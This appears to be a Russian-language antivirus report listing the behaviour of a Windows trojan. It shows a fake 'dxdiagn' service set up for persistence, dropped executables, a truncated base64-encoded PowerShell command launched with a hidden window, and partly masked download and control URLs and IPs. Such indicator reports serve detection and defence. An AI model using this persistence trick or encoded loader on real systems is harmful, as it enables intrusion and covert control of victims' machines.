Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dxdiagn] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dxdiagn] 'ImagePath' = '"%WINDIR%\SysWOW64\utildll\dxdiagn.exe"'
- 'dxdiagn' "%WINDIR%\SysWOW64\utildll\dxdiagn.exe"
- 'dxdiagn' %WINDIR%\SysWOW64\utildll\dxdiagn.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABRAGwAegB5AG0AYgBkAD0AKAAoACcATAA5ACcAKwAnADgAJwApACsAJwBwACcAKwAoACcAcwAnACsAJwBmADIAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAG4AdgA6AHUAUw...
- %HOMEPATH%\o0ysj2n\n4wp4ij\evbeds9.exe
- %WINDIR%\syswow64\utildll\dxdiagn.exe
- %HOMEPATH%\o0ysj2n\n4wp4ij\evbeds9.exe в %WINDIR%\syswow64\utildll\dxdiagn.exe
- '49.##3.9.118':80
- '16#.#41.41.111':7080
- http://m.##mec.com/error/F4FxVaJD3/
- http://16#.##1.41.111:7080/p4fnxFyf1iHjQN/ via 16#.#41.41.111
- DNS ASK m.##mec.com
- '%HOMEPATH%\o0ysj2n\n4wp4ij\evbeds9.exe'
- '%WINDIR%\syswow64\utildll\dxdiagn.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABRAGwAegB5AG0AYgBkAD0AKAAoACcATAA5ACcAKwAnADgAJwApACsAJwBwACcAKwAoACcAcwAnACsAJwBmADIAJwApACkAOwAmACgAJwBuAGUAdwAtAGkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABlAG4AdgA6AHUAUw...' (со скрытым окном)